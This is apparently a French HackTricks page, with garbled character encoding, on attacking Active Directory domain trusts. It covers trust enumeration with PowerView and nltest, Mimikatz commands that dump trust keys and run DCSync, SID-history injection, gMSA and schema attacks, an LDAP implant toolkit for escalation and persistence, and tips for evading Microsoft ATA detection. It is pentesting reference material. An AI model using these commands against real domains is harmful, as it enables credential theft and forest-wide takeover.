Escalade de privilĂšges au niveau ForĂȘt - Domain Trusts
Microsoft considĂšre la ForĂȘt comme la frontiĂšre de sĂ©curitĂ©. Cela implique que la compromission dâun seul domaine pourrait potentiellement entraĂźner la compromission de toute la ForĂȘt.
Informations de base
Un domain trust est un mĂ©canisme de sĂ©curitĂ© qui permet Ă un utilisateur dâun domaine dâaccĂ©der aux ressources dâun autre domaine. Il crĂ©e essentiellement un lien entre les systĂšmes dâauthentification des deux domaines, permettant aux vĂ©rifications dâauthentification de circuler sans heurt. Lorsque des domaines Ă©tablissent une confiance, ils Ă©changent et conservent des clĂ©s spĂ©cifiques au sein de leurs Domain Controllers (DCs), qui sont cruciales pour lâintĂ©gritĂ© de la confiance.
Dans un scĂ©nario typique, si un utilisateur souhaite accĂ©der Ă un service dans un domaine de confiance, il doit dâabord demander un ticket spĂ©cial connu sous le nom de inter-realm TGT depuis le DC de son propre domaine. Ce TGT est chiffrĂ© avec une clĂ© de confiance partagĂ©e que les deux domaines ont convenue. Lâutilisateur prĂ©sente ensuite ce TGT au DC du domaine de confiance pour obtenir un ticket de service (TGS). AprĂšs vĂ©rification rĂ©ussie de lâinter-realm TGT par le DC du domaine de confiance, il Ă©met un TGS, accordant Ă lâutilisateur lâaccĂšs au service.
Ătapes :
- Un ordinateur client dans le Domaine 1 commence le processus en utilisant son NTLM hash pour demander un Ticket Granting Ticket (TGT) Ă son Domain Controller (DC1).
- DC1 émet un nouveau TGT si le client est authentifié avec succÚs.
- Le client demande ensuite un inter-realm TGT à DC1, nécessaire pour accéder aux ressources dans le Domaine 2.
- Lâinter-realm TGT est chiffrĂ© avec une trust key partagĂ©e entre DC1 et DC2 dans le cadre de la relation de confiance bidirectionnelle.
- Le client apporte lâinter-realm TGT au Domain Controller (DC2) du Domaine 2.
- DC2 vĂ©rifie lâinter-realm TGT en utilisant sa clĂ© de confiance partagĂ©e et, si valide, Ă©met un Ticket Granting Service (TGS) pour le serveur du Domaine 2 que le client souhaite atteindre.
- Enfin, le client prĂ©sente ce TGS au serveur, qui est chiffrĂ© avec le hash du compte du serveur, pour obtenir lâaccĂšs au service dans le Domaine 2.
Différents types de trusts
Il est important de remarquer quâun trust peut ĂȘtre Ă sens unique ou Ă double sens. Dans lâoption Ă deux sens, les deux domaines se font mutuellement confiance, mais dans la relation de confiance Ă sens unique lâun des domaines sera le trusted et lâautre le trusting. Dans ce dernier cas, vous ne pourrez accĂ©der quâaux ressources du domaine trusting depuis le domaine trusted.
Si le Domaine A fait confiance au Domaine B, A est le domaine trusting et B est le domaine trusted. De plus, dans le Domaine A, cela sera un Outbound trust ; et dans le Domaine B, cela sera un Inbound trust.
Différentes relations de confiance
- Parent-Child Trusts : Câest une configuration courante au sein de la mĂȘme forĂȘt, oĂč un domaine enfant a automatiquement une trust bidirectionnelle transitive avec son domaine parent. Essentiellement, cela signifie que les demandes dâauthentification peuvent circuler sans heurt entre le parent et lâenfant.
- Cross-link Trusts : AppelĂ©s âshortcut trustsâ, ils sont Ă©tablis entre domaines enfants pour accĂ©lĂ©rer les processus de renvoi. Dans des forĂȘts complexes, les renvois dâauthentification doivent gĂ©nĂ©ralement remonter jusquâĂ la racine de la forĂȘt puis redescendre vers le domaine cible. En crĂ©ant des cross-links, le trajet est raccourci, ce qui est particuliĂšrement utile dans des environnements gĂ©ographiquement dispersĂ©s.
- External Trusts : Ceux-ci sont configurĂ©s entre des domaines diffĂ©rents et non liĂ©s et sont non-transitifs par nature. Selon la documentation de Microsoft, les external trusts sont utiles pour accĂ©der aux ressources dans un domaine en dehors de la forĂȘt actuelle qui nâest pas connectĂ© par une forest trust. La sĂ©curitĂ© est renforcĂ©e par le filtrage SID avec les external trusts.
- Tree-root Trusts : Ces trusts sont automatiquement Ă©tablis entre le domaine racine de la forĂȘt et une nouvelle racine dâarbre ajoutĂ©e. Bien quâils ne soient pas frĂ©quemment rencontrĂ©s, les tree-root trusts sont importants pour ajouter de nouveaux arbres de domaines Ă une forĂȘt, leur permettant de conserver un nom de domaine unique et assurant la transitivitĂ© bidirectionnelle. Plus dâinformations sont disponibles dans le guide de Microsoft.
- Forest Trusts : Ce type de trust est une trust transitive bidirectionnelle entre deux domaines racines de forĂȘt, appliquant Ă©galement le filtrage SID pour renforcer les mesures de sĂ©curitĂ©.
- MIT Trusts : Ces trusts sont Ă©tablis avec des domaines Kerberos non-Windows conformes Ă RFC4120. Les MIT trusts sont un peu plus spĂ©cialisĂ©s et sâadressent aux environnements nĂ©cessitant une intĂ©gration avec des systĂšmes basĂ©s sur Kerberos en dehors de lâĂ©cosystĂšme Windows.
Autres différences dans les relations de confiance
- Une relation de trust peut Ă©galement ĂȘtre transitive (A trust B, B trust C, donc A trust C) ou non-transitive.
- Une relation de trust peut ĂȘtre configurĂ©e comme une trust bidirectionnelle (les deux se font confiance) ou comme une trust unidirectionnelle (un seul fait confiance Ă lâautre).
Chemin dâattaque
- Enumérer les relations de confiance
- VĂ©rifier si un security principal (user/group/computer) a access aux ressources de lâautre domaine, peut-ĂȘtre via des entrĂ©es ACE ou en Ă©tant dans des groupes de lâautre domaine. Cherchez des relationships across domains (la trust a probablement Ă©tĂ© créée pour cela).
- kerberoast dans ce cas pourrait ĂȘtre une autre option.
- Compromettre les comptes qui peuvent pivot entre les domaines.
Les attaquants peuvent accĂ©der aux ressources dâun autre domaine via trois mĂ©canismes principaux :
- Local Group Membership : Des principals peuvent ĂȘtre ajoutĂ©s Ă des groupes locaux sur des machines, comme le groupe âAdministratorsâ sur un serveur, leur accordant un contrĂŽle significatif sur cette machine.
- Foreign Domain Group Membership : Des principals peuvent aussi ĂȘtre membres de groupes dans le domaine Ă©tranger. Cependant, lâefficacitĂ© de cette mĂ©thode dĂ©pend de la nature de la trust et de la portĂ©e du groupe.
- Access Control Lists (ACLs) : Des principals peuvent ĂȘtre spĂ©cifiĂ©s dans une ACL, particuliĂšrement en tant quâentitĂ©s dans des ACEs au sein dâune DACL, leur fournissant lâaccĂšs Ă des ressources spĂ©cifiques. Pour ceux qui veulent approfondir la mĂ©canique des ACLs, DACLs et ACEs, le whitepaper intitulĂ© âAn ACE Up The Sleeveâ est une ressource prĂ©cieuse.
Trouver des utilisateurs/groupes externes avec des permissions
Vous pouvez vĂ©rifier CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com pour trouver les foreign security principals dans le domaine. Ceux-ci seront des user/group provenant dâun domaine/forĂȘt externe.
Vous pouvez vérifier cela dans Bloodhound ou en utilisant powerview:
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
Child-to-Parent forest privilege escalation
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
TargetName : domain.local --> foreign domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST --> WITHIN_FOREST: Both in the same forest
TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
Autres moyens dâĂ©numĂ©rer les trusts de domaine :
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
Warning
Il existe 2 trusted keys, une pour Child â> Parent et une autre pour Parent â> Child.
Vous pouvez vérifier celle utilisée par le domaine actuel avec :Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
SID-History Injection
Escaladez au niveau Enterprise admin vers le domaine enfant/parent en abusant de la relation de confiance via SID-History injection :
Exploit writeable Configuration NC
Comprendre comment la Configuration Naming Context (NC) peut ĂȘtre exploitĂ©e est crucial. La Configuration NC sert de dĂ©pĂŽt central pour les donnĂ©es de configuration Ă travers une forĂȘt dans les environnements Active Directory (AD). Ces donnĂ©es sont rĂ©pliquĂ©es vers chaque Domain Controller (DC) de la forĂȘt, les DCs Ă©crits conservant une copie modifiable de la Configuration NC. Pour exploiter cela, il faut disposer des privilĂšges SYSTEM sur un DC, de prĂ©fĂ©rence un DC enfant.
Link GPO to root DC site
Le conteneur Sites de la Configuration NC contient des informations sur les sites de tous les ordinateurs joints au domaine au sein de la forĂȘt AD. En opĂ©rant avec des privilĂšges SYSTEM sur nâimporte quel DC, un attaquant peut lier des GPOs aux sites des DCs racines. Cette action peut potentiellement compromettre le domaine racine en manipulant les politiques appliquĂ©es Ă ces sites.
Pour des informations détaillées, on peut consulter la recherche sur Bypassing SID Filtering.
Compromise any gMSA in the forest
Un vecteur dâattaque consiste Ă cibler des gMSA privilĂ©giĂ©s au sein du domaine. La KDS Root key, essentielle pour calculer les mots de passe des gMSAs, est stockĂ©e dans la Configuration NC. Avec des privilĂšges SYSTEM sur nâimporte quel DC, il est possible dâaccĂ©der Ă la KDS Root key et de calculer les mots de passe de nâimporte quel gMSA dans la forĂȘt.
Une analyse détaillée et un guide pas-à -pas se trouvent dans :
Attaque MSA dĂ©lĂ©guĂ©e complĂ©mentaire (BadSuccessor â abus des attributs de migration) :
Badsuccessor Dmsa Migration Abuse
Recherches externes complémentaires : Golden gMSA Trust Attacks.
Schema change attack
Cette mĂ©thode rĂ©clame de la patience, en attendant la crĂ©ation de nouveaux objets AD privilĂ©giĂ©s. Avec des privilĂšges SYSTEM, un attaquant peut modifier le AD Schema pour accorder Ă nâimporte quel utilisateur le contrĂŽle total sur toutes les classes. Cela peut conduire Ă un accĂšs non autorisĂ© et au contrĂŽle des objets AD nouvellement créés.
Pour en savoir plus : Schema Change Trust Attacks.
From DA to EA with ADCS ESC5
La vulnĂ©rabilitĂ© ADCS ESC5 cible le contrĂŽle des objets Public Key Infrastructure (PKI) pour crĂ©er un template de certificat permettant de sâauthentifier en tant que nâimporte quel utilisateur au sein de la forĂȘt. Comme les objets PKI rĂ©sident dans la Configuration NC, compromettre un DC enfant modifiable permet dâexĂ©cuter des attaques ESC5.
Plus de dĂ©tails : From DA to EA with ESC5. Dans les scĂ©narios sans ADCS, lâattaquant peut mettre en place les composants nĂ©cessaires, comme expliquĂ© dans Escalating from Child Domain Admins to Enterprise Admins.
External Forest Domain - One-Way (Inbound) or bidirectional
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
Dans ce scénario votre domaine est approuvé par un domaine externe vous donnant des autorisations indéterminées sur celui-ci. Vous devrez trouver quels principals de votre domaine ont quels accÚs sur le domaine externe puis tenter de les exploiter :
External Forest Domain - OneWay (Inbound) or bidirectional
ForĂȘt de domaine externe - unidirectionnelle (sortant)
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
TargetName : external.local --> Destination domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
Dans ce scĂ©nario votre domaine accorde la confiance de certains privilĂšges Ă un principal dâun domaine diffĂ©rent.
Cependant, lorsquâun domaine est trusted par le domaine de confiance, le domaine trusted crĂ©e un utilisateur avec un nom prĂ©visible qui utilise comme mot de passe le trusted password. Ce qui signifie quâil est possible pour un utilisateur du domaine de confiance dâaccĂ©der au domaine trusted pour lâĂ©numĂ©rer et tenter dâescalader davantage de privilĂšges :
External Forest Domain - One-Way (Outbound)
Une autre façon de compromettre le domaine trusted est de trouver un SQL trusted link créé dans la direction opposĂ©e de la confiance de domaine (ce qui nâest pas trĂšs courant).
Une autre façon de compromettre le domaine trusted est dâattendre sur une machine oĂč un utilisateur du domaine trusted peut se connecter via RDP. Lâattaquant peut alors injecter du code dans le processus de la session RDP et accĂ©der au domaine dâorigine de la victime depuis lĂ .
De plus, si la victime a montĂ© son disque dur, depuis le processus de session RDP lâattaquant pourrait dĂ©poser des backdoors dans le dossier de dĂ©marrage du disque dur. Cette technique sâappelle RDPInception.
Atténuation des abus de trust de domaine
SID Filtering:
- Le risque dâattaques exploitant lâattribut SID history Ă travers des forest trusts est attĂ©nuĂ© par SID Filtering, qui est activĂ© par dĂ©faut sur tous les trusts inter-forest. Cela repose sur lâhypothĂšse que les trusts intra-forest sont sĂ»rs, considĂ©rant la forĂȘt, plutĂŽt que le domaine, comme la frontiĂšre de sĂ©curitĂ© selon la position de Microsoft.
- Toutefois, il y a un inconvĂ©nient : SID Filtering peut perturber des applications et lâaccĂšs des utilisateurs, ce qui conduit parfois Ă sa dĂ©sactivation.
Selective Authentication:
- Pour les trusts inter-forest, lâemploi de Selective Authentication garantit que les utilisateurs des deux forĂȘts ne sont pas automatiquement authentifiĂ©s. Ă la place, des permissions explicites sont requises pour que les utilisateurs accĂšdent aux domaines et serveurs au sein du domaine ou de la forĂȘt de confiance.
- Il est important de noter que ces mesures ne protĂšgent pas contre lâexploitation du writable Configuration Naming Context (NC) ni contre des attaques visant le compte de trust.
More information about domain trusts in ired.team.
LDAP-based AD Abuse from On-Host Implants
The LDAP BOF Collection rĂ©implĂ©mente les primitives LDAP de style bloodyAD en tant que x64 Beacon Object Files qui sâexĂ©cutent entiĂšrement Ă lâintĂ©rieur dâun implant sur hĂŽte (par ex., Adaptix C2). Les opĂ©rateurs compilent le pack avec git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, chargent ldap.axs, puis appellent ldap <subcommand> depuis le beacon. Tout le trafic circule via le contexte de sĂ©curitĂ© du logon courant sur LDAP (389) avec signing/sealing ou LDAPS (636) avec auto certificate trust, donc aucun proxy socks ni artefact disque nâest requis.
Implant-side LDAP enumeration
get-users,get-computers,get-groups,get-usergroups, andget-groupmembersrĂ©solvent les noms courts/chemins OU en DNs complets et dumpent les objets correspondants.get-object,get-attribute, andget-domaininforĂ©cupĂšrent des attributs arbitraires (y compris les security descriptors) ainsi que les mĂ©tadonnĂ©es de forĂȘt/domaine depuisrootDSE.get-uac,get-spn,get-delegation, andget-rbcdexposent les roasting candidates, les paramĂštres de dĂ©lĂ©gation et les descripteurs existants de Resource-based Constrained Delegation directement depuis LDAP.get-aclandget-writable --detailedanalysent la DACL pour lister les trustees, les droits (GenericAll/WriteDACL/WriteOwner/attribute writes) et lâhĂ©ritage, fournissant des cibles immĂ©diates pour une escalation de privilĂšges via ACL.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
LDAP write primitives for escalation & persistence
- Les BOFs de crĂ©ation dâobjet (
add-user,add-computer,add-group,add-ou) permettent Ă lâopĂ©rateur de dĂ©ployer de nouveaux principals ou comptes machine partout oĂč des droits sur lâOU existent.add-groupmember,set-password,add-attribute, etset-attributedĂ©tournent directement les cibles dĂšs que des droits write-property sont obtenus. - Les commandes axĂ©es sur les ACL telles que
add-ace,set-owner,add-genericall,add-genericwrite, etadd-dcsynctraduisent WriteDACL/WriteOwner sur nâimporte quel objet AD en resets de mot de passe, contrĂŽle de lâappartenance Ă des groupes, ou privilĂšges DCSync sans laisser dâartefacts PowerShell/ADSI. Les contrepartiesremove-*nettoient les ACE injectĂ©s.
Delegation, roasting, and Kerberos abuse
add-spn/set-spnrendent instantanĂ©ment un utilisateur compromis Kerberoastable ;add-asreproastable(basculage UAC) le marque pour lâAS-REP roasting sans toucher au mot de passe.- Les macros de dĂ©lĂ©gation (
add-delegation,set-delegation,add-constrained,add-unconstrained,add-rbcd) réécriventmsDS-AllowedToDelegateTo, les flags UAC, oumsDS-AllowedToActOnBehalfOfOtherIdentitydepuis le beacon, permettant des vecteurs dâattaque constrained/unconstrained/RBCD et Ă©liminant le besoin de PowerShell distant ou RSAT.
sidHistory injection, OU relocation, and attack surface shaping
add-sidhistoryinjecte des SIDs privilĂ©giĂ©s dans le SID history dâun principal contrĂŽlĂ© (voir SID-History Injection), fournissant un hĂ©ritage dâaccĂšs furtif entiĂšrement via LDAP/LDAPS.move-objectchange le DN/OU des ordinateurs ou utilisateurs, permettant Ă un attaquant de dĂ©placer des actifs vers des OUs oĂč des droits dĂ©lĂ©guĂ©s existent dĂ©jĂ avant dâabuser deset-password,add-groupmember, ouadd-spn.- Les commandes de suppression Ă portĂ©e Ă©troite (
remove-attribute,remove-delegation,remove-rbcd,remove-uac,remove-groupmember, etc.) permettent un rollback rapide aprĂšs que lâopĂ©rateur a rĂ©coltĂ© des credentials ou Ă©tabli une persistance, minimisant la tĂ©lĂ©mĂ©trie.
AD -> Azure & Azure -> AD
Page not found - HackTricks Cloud
Some General Defenses
En savoir plus sur la protection des credentials ici.
Defensive Measures for Credential Protection
- Restrictions pour Domain Admins : Il est recommandĂ© que les Domain Admins ne soient autorisĂ©s Ă se connecter que sur les Domain Controllers, Ă©vitant leur utilisation sur dâautres hĂŽtes.
- Service Account Privileges : Les services ne devraient pas sâexĂ©cuter avec des privilĂšges Domain Admin (DA) pour maintenir la sĂ©curitĂ©.
- Limitation temporelle des privilĂšges : Pour les tĂąches nĂ©cessitant des privilĂšges DA, leur durĂ©e doit ĂȘtre limitĂ©e. Cela peut ĂȘtre rĂ©alisĂ© par :
Add-ADGroupMember -Identity âDomain Adminsâ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)
Implementing Deception Techniques
- Mettre en Ćuvre de la deception implique de poser des piĂšges, comme des utilisateurs ou ordinateurs leurres, avec des caractĂ©ristiques telles que des mots de passe qui nâexpirent pas ou sont marquĂ©s Trusted for Delegation. Une approche dĂ©taillĂ©e inclut la crĂ©ation dâutilisateurs avec des droits spĂ©cifiques ou leur ajout Ă des groupes Ă privilĂšges Ă©levĂ©s.
- Un exemple pratique implique lâutilisation dâoutils comme :
Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose - Plus dâinformations sur le dĂ©ploiement de techniques de deception sont disponibles sur Deploy-Deception on GitHub.
Identifying Deception
- Pour les objets utilisateur : Les indicateurs suspects incluent un ObjectSID atypique, des connexions peu frĂ©quentes, les dates de crĂ©ation, et un faible nombre dâĂ©checs de mot de passe.
- Indicateurs gĂ©nĂ©raux : Comparer les attributs dâobjets leurres potentiels avec ceux dâobjets rĂ©els peut rĂ©vĂ©ler des incohĂ©rences. Des outils comme HoneypotBuster peuvent aider Ă identifier ces deceptions.
Bypassing Detection Systems
- Microsoft ATA Detection Bypass :
- User Enumeration : Ăviter lâĂ©numĂ©ration de sessions sur les Domain Controllers pour prĂ©venir la dĂ©tection par ATA.
- Ticket Impersonation : Lâutilisation de clĂ©s aes pour la crĂ©ation de tickets aide Ă Ă©chapper Ă la dĂ©tection en nâeffectuant pas de rĂ©trogradation vers NTLM.
- DCSync Attacks : Il est conseillĂ© dâexĂ©cuter depuis un hĂŽte non-Domain Controller pour Ă©viter la dĂ©tection ATA, car une exĂ©cution directe depuis un Domain Controller dĂ©clenchera des alertes.
References
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- LDAP BOF Collection â In-Memory LDAP Toolkit for Active Directory Exploitation
- TrustedSec â Holy Shuck! Weaponizing NTLM Hashes as a Wordlist
- Hashcat
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


